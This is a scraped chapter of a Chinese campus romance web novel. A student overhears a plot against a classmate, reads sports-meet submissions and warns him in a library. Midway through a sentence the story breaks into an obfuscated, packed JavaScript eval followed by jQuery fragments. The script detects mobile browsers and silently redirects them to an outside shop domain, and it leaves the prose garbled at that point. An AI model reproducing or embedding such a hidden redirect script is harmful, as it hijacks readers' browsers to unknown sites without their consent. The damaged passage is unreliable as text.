文趣网 > 都市小说 > 野薄荷[校园] > 8. 第 8 章
    江临九中在长理后面,绕过两条油柏马路,视野重新开阔,郁随昨晚一晚没睡好,半梦半醒的,最后还是决定过来打听一下,她挑选了一些人流比较多的商店。

    2元店内,五彩斑斓的饰品堆砌在墙面,闪烁着迷离的光斑,千禧年独特的复古感扑面而来,杀马特海报被透明胶布黏在墙面,边缘泛黑。

    老板是个烫着卷头,涂满五颜六色指甲的阿姨,身上穿着宽松的碎花裙子,各种夸张的发夹别在头发,看的人眼花缭。

    问的话术很讲究,要买东西,然后想聊天一样无意提及。

    老板娘嘴里叼了一根烟,数着钱,话含糊不清,“这附近安全的很,我都没见着你说的那人。”

    “前几天还有人看见。”这商店在路口,人流最多。

    “你说论坛里面提的,估计是看错了吧,放心吧,有事跑我店里。”

    “不信你去附近问问。”

    她摆手,不耐烦的收好钱窝回沙发里。

    郁随结了账,又继续到下一家店,反复跑了一圈,一无所获,最终重新回到街口的书店。

    晨光文具褪红牌匾高挂在门面上方,醒目亮眼,老板是个中年男人,此刻正穿着蓝色格子衬衫,站在前台准备着秋冬要用到的手套和围巾,嘴里还不停抱怨这城市潮湿的雨天。

    店内人影稀少,漫画书在角落一层,各种热血漫,小说和报刊七零八乱的堆叠,部分被人翻阅过,折角皱起一条深痕,有的倒在墙角,染着一层薄灰。

    郁随从一堆书里面找到自己要的练习册和漫画。

    门外,三个穿着红色校服的男生大摇大摆走进来,打趣着,嘴里的话流里流气。

    透过玻璃橱窗的倒影中可以看见为首的那个男生,是季逾驰的哥哥季明义。

    男生抽了个打火机丢到收银台,插着兜,寸头发型在三人中尤其突出。

    “义哥,听说校园开拍采访名额选的是市内知名企业的小姐少爷,这名额本来是给你的吧,怎么最后落到季逾驰哪里?”

    “对啊。”右边男生从冰箱取一瓶可乐,似乎帮着打抱不平,“让他抢了风头,义哥,你前几天不还说要派人教训他。”

    “教训个屁。”他吹了一口泡泡糖,咬破,在安静的中发出微弱的爆鸣声,“我都打点好了,结果那人昨晚和我说不干了,还把钱退回来。”

    “怎么了?”

    “昨晚,有混混去他同学家闹事,真TM够狠,把人揍的半死不活,你别说,季逾驰这人打起架来还真是不要命。”

    身侧跟班难以置信,笑的打趣,“看不出来啊,那你这口气不得咽下去。”

    “当然不可能。”他勾了勾手指,另外两人侧过身,笑的意味深长,“我爸今晚回来,到时候我告密说他打人,我爸这人最爱面子,过几天有晚宴,这事传出去他肯定嫌丢脸。”

    “还是你牛。”

    隔着几个书架,对话在安静的书店一清二楚,郁随漫不经心的翻了页书,没拿稳,砸向地面发出响亮的一声。

    “谁啊?”

    背后是季明义不耐烦的声音,郁随坐下来,熟练的翻动着前面的杂志,假装自己在书店蹭位看书。

    老板结好账,把烟和饮料扎在袋子里,顺势解围,“刚来看书的人。”

    听这话,季明义倒是没多说什么,沉思半刻,随手将东西丢到身侧人怀里,瞪了眼角落的背影才离开。

    只剩郁随一个人躲在角落思考。

    季明义要告发,万一到时候季逾驰以为是她说的怎么办,就算他不误会,那她知道了不通风报信也不太好。

    思考不到三秒,郁随还是觉得和季逾驰说一声。

    ……

    运动会总会赶在最热的时候,天空像一张没有任何杂色的幕布,纯粹的深蓝,太阳架在中间,孜孜不倦的燃烧着。

    下午第一场比赛在两点半开始,教室只有扶司琪一个人,女孩坐在位置上,饶有兴致的涂着亮色指甲油。

    郁随把刚买回来的漫画书书放到桌面,笑着接过对方递来的冰可乐。

    “谢谢司司。”

    “应该是我谢谢你才对。”她拆开一本,爱不释手的翻开看,“对了随随,我还行请你帮个忙。”

    “什么忙?”郁随喝了一口可乐。

    季逾驰的位置干净整洁,书本整齐的叠好在桌面一角,仔细注意,还能看见压在最下方来自不知名少女的书信。

    他不在教室。

    好像今天下午有个比赛,应该是去比赛吧。

    扶司琪把书本放回抽屉,摇晃了下手里的主持牌,“下午想请你帮我念一下校运会的投稿。”

    “怎么?”郁随一下子猜透,“你要去看时斯屿的比赛。”

    两人青梅竹马,前几天校运会还没开始,扶司琪就经常念到说时斯岛屿一定要她到现场当拉拉队,不然就亲自过来教室抓她过去。

    扶司琪抱住她,手里塞了袋零食,娇气着,“我就知道随随最懂我。”

    “好了,去吧。”

    反正也没比赛,她答应的爽快。

    ……

    校运会广播台的主持任务还算比较轻松,主要工作就是念学生发来的投稿,偶尔播报成绩,比赛进度等。

    每个人职责不一样,郁随负责念稿,短短一个午休的时间,稿卡堆积如山,郁随抱着一堆五彩斑斓的卡片上到主席台,苦恼着今天能不能念完,她低着头,稍不留神,撞上一个结实的胸膛。

    稿片散落,天女散花一样飞扬在世界每处,视野里出现了一双白净的手,少年穿着格格不入的黑白色校服,笑容明亮,“你没事吧。”

    柠檬香在空气里流动,燥热的风糊在脸上,闷热粘稠。

    一张陌生的脸,带着干净的少年意气。

    长理校运会和三十年校庆,学校隆重举办,还特意邀请其他学校的学生一起加入比赛和表演,美其名曰友联。

    凭借校服辨认,郁随猜测,“你是江临九中国际部的学生?”

    “对。”对方捡起卡片,叠好还给她,认真介绍自己,“我叫,沈屹行。”

    “我叫郁随。”

    “郁随。”他轻声念一遍名字,目光炽热,“你是新来的主持吗?”

    “不是。”边走边和他解释。

    交谈中得知,下午一中的播报全程由他们负责,郁随选了念投稿,沈屹行报成绩及项目。

    卡牌有顺序,下午第一张是21号,少女百无聊赖的

    趴在布艺桌面,侧面风扇哗哗作响,凉爽的风打在身体上,惬意舒适。

    她抽了最前面一张,看见里面内容,怔了下,

    “季逾驰同学,我喜欢你弹钢琴时优雅的身姿,演奏吉他时,,,,,,最后,祝你比赛顺利——投稿,来自不知名的小花。”

    “他很受欢迎呢。”沈屹行看见牌面内容,“上午也有好几张投稿是写给他的。”

    “是吗?”郁随假装不认识,八卦般随口一提,“可能长得帅吧。”

    她扶着话筒,深呼吸,正式进入工作状态。

    “季逾驰同学,我喜欢你。。。”

    “你”字像是作为一个落点,念到那刻,郁随心有灵犀般看向前方。

    蓝色彩旗和天空融为一体,少年站在草坪里,风将白色衬衫吹的鼓起,碎发短暂的在脸颊打出不规则的光影。

    淡淡的视线扫过来,他单手插着兜,眼皮懒耸的抬起,恰好铺抓住台上那一抹因紧张而暂停的神色。

    两人瞳孔中映着彼此微小的倒影,刺眼的阳光将一切照的无处可藏,温度滚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683891|207762||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    烫而炽热。

    “弹钢琴时。”郁随避开他的目光,继而平静的再次念下去,“优雅的身姿。。。。。投稿,来自不知名的小花。”

    稿子结束时,刚才那个方向已然一片空荡,只留下无数彩色的飘带飞扬,描绘着风流动的身姿。

    后面季逾驰的投稿不多,但是内容都是让人哭笑不得。

    “一班一班,非同一班,插旗航帆,注定不凡。”

    “八八八八,发发发发,一路掌声与鲜花,高兴的头眼昏花。”

    她念完之后,扶司琪还特意跑过来捧场,赞扬她很适合当主持人,应该好好深造。

    这么一夸,她忽然觉得这项工作也不算太难胜任。一直等放学才想起正事,没能通风报信成功。

    幸好上天又给了他们相遇的机会。

    郁随跑到图书馆兼职,穿好工作服,在二楼碰上正在导航电子屏前思索的他。

    少年站在落地窗前,外面密集的绿叶将整个世界都染成深青色调,安静,清新。

    夕阳正好,传过婆娑的树影投进,将他笼罩在一片斑驳的碎光中。

    他似乎遇见了困难,时不时蹙眉,指尖在屏幕同一个页面回滑动。

    郁随犹豫了一秒,毅然上前询问。

    “你想找什么?”

    季逾驰注意到她胸前挂的临时工牌子,并没表现惊讶,极为平静的接受了这份的援助,“我想找一本书,之前看论坛说市中心图书馆可以借,麻烦你帮忙看看。”

    手机页面显示着一本在艺术区的钢琴文学类的书籍。

    前段时间艺术类书籍搬迁到了C区,电子屏导航迟迟没有更新,经常有人找错投诉到前台,维修人员说至少要一星期才能完成更新,现在只能靠人工带路。

    “艺术区搬到C区了。”郁随指向不远处。

    书柜被高大的刺绣屏风挡住,建筑隔上一层朦胧,看不清背后具体。

    “算了。”她提上自己书包,招手,“我带你过去吧。”

    “麻烦了。”

    “没事。”

    一路走来,周围看书的人少了很多,穿过屏风,崭新的书架陈列在眼前。

    两人在最里面角落的书架找到了季逾驰想要的书。

    他挑了很多本,空缺的空间瞬间被东倒西歪的书本占据。

    四周无人,郁随将倒下的书重新调整位置,摆放整齐,认真又用心,“我有件事和你说。”

    “怎么?”季逾驰翻动着书。

    “我今天去九中买东西时遇见季明义了。”她神神秘秘的,压低声音,“他好像知道你昨天在巷子打架了,说今晚要投诉你。”

    所以?”他停下动作,单侧挑眉。

    “我只是想和你提前说,免得到时候你以为是我打的小报告。”

    “你说了也没关系。”反正他们也没到一定要为对方某件事保密的程度。

    “我昨天。”郁随刚要说她答应了,后知后觉的也意识到他们只是普通同学。

    郁随问:“哦,作为同学关心一下你都不行?”

    话落,少年目光落下。

    夕阳明黄的光影从窗户斜斜的切进来,他低头,清晰的看见少女一双琥珀色瞳孔及眼角侧面那颗淡淡的泪痣。

    她眼神总是很淡,像是隔着一层磨砂玻璃,即使在阳光里,也总觉得是连绵不断的阴雨。

    安静的,用毛巾将柜子脏的位置擦干净,一点一点,似乎总是耐心又好脾气。

    季逾驰对上她的眼睛,语气毫无波澜,“同学?”

    郁随愣了下,“不是吗?”

    “或许是。”他更贴切的评价,“稍微熟悉点的陌生人而已。”

    书本合上,重重一声。

    一阵风吹过,缠绕着薄荷和柠檬的气息。